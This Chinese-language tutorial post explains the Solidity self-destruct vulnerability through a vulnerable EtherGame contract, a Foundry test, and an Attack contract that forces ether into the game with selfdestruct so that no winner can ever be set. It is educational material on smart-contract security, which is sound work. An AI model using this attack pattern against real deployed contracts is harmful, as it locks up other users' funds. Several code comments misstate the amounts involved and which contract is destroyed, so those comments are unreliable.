区块链安全常见的攻击合约和简单复现,附带详细分析——自毁漏洞(Self-Destruct Vulnerability)【2】
1、自毁漏洞(Self-Destruct Vulnerability)
1.1 漏洞合约
contract EtherGame {uint public constant targetAmount = 7 ether;address public winner;function deposit() public payable {require(msg.value == 1 ether, "You can only send 1 Ether");uint balance = address(this).balance; // vulnerablerequire(balance <= targetAmount, "Game is over");if (balance == targetAmount) {winner = msg.sender;}}function claimReward() public {require(msg.sender == winner, "Not winner");(bool sent, ) = msg.sender.call{value: address(this).balance}("");require(sent, "Failed to send Ether");}
}
1.2 漏洞分析
deposit函数用来存放资金到ethergame合约,每次只允许存放1 ether,当ethergame合约的资金达到7ether,设置赢家为存放者,并且停止存放。如果通过非法的手段存入资金使得ethergame合约金额达到7,那么赢家无法再设置,始终为0x000000,因此游戏被破坏。
1.3 攻击分析
1、部署一个Attack合约,里面有一个dos函数,函数调用了selfdestruct(addr)函数
2、addr设置为ethergame合约地址
2、攻击者调用dos,同时给attack合约发送资金(资金金额是ethergame合约还差多少达到7ether)
3、这样会触发selfdestruct,自我销毁会把Attack合约里的资金强制发送给ethergame合约,使其达到7ether,而winner无法设置。
1.4 攻击合约
contract ContractTest is Test {EtherGame EtherGameContract; // EtherGame 合约实例Attack AttackerContract; // 攻击合约实例address alice; // Alice 地址address eve; // Eve 地址address Attacker; // Attacker 地址// 设置测试环境function setUp() public {EtherGameContract = new EtherGame();alice = vm.addr(1); // 模拟 Alice 地址eve = vm.addr(2); // 模拟 Eve 地址vm.deal(address(alice), 1 ether); // 为 Alice 分配 1 Ethervm.deal(address(eve), 1 ether); // 为 Eve 分配 1 EtherAttacker = vm.addr(3); // 模拟 Attacker 地址vm.deal(address(Attacker), 6 ether); // 为 Attacker 分配 1 Ether}function testSelfdestruct() public {console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Etherconsole.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Etherconsole.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印 EtherGame 合约的余额console.log("winner : ", EtherGameContract.winner());console.log("Attack...");AttackerContract = new Attack(EtherGameContract); // 部署攻击合约并传入 EtherGame 的地址AttackerContract.dos{value: 5 ether}(); // 调用攻击合约的 dos 函数并发送 5 Etherconsole.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印攻击后的 EtherGame 合约余额console.log("After, winner : ", EtherGameContract.winner());console.log("Exploit completed, Game is over");EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败}
}contract Attack {EtherGame etherGame; // 目标 EtherGame 合约// 初始化攻击合约constructor(EtherGame _etherGame) {etherGame = EtherGame(_etherGame); // 绑定目标合约}// 攻击函数:通过 selfdestruct 销毁目标合约function dos() public payable {// 通过发送额外的以太币,使游戏余额达到 7 Ether,从而破坏游戏address payable addr = payable(address(etherGame)); // 转换为 payable 地址selfdestruct(addr); // 调用 selfdestruct 将以太币和字节码一起销毁}
}
1.5 正常游戏情况,合约金额达7ether会有winner
function testSelfdestruct() public {console.log("Alice balance", alice.balance); // 打印 Alice 的初始余额console.log("Eve balance", eve.balance); // 打印 Eve 的初始余额console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}(); // Alice 存入 1 Etherconsole.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // Eve 存入 1 Etherconsole.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印 EtherGame 合约的余额console.log(" winner : ", EtherGameContract.winner()); // 打印 EtherGame winnerconsole.log("Attacker starts depositing 1 Ether 5 times...");for (uint i = 0; i < 5; i++) {vm.prank(Attacker);EtherGameContract.deposit{value: 1 ether}(); // Attacker 每次存入 1 Ether}console.log("After, Balance of EtherGameContract",address(EtherGameContract).balance); // 打印 EtherGame 合约的余额console.log("Balance of EtherGameContract",address(EtherGameContract).balance); // 打印攻击后的 EtherGame 合约余额console.log("After, winner : ", EtherGameContract.winner()); // 打印 EtherGame winnerconsole.log("Exploit completed, Game is over");··EtherGameContract.deposit{value: 1 ether}(); // 由于合约被销毁,此调用将失败}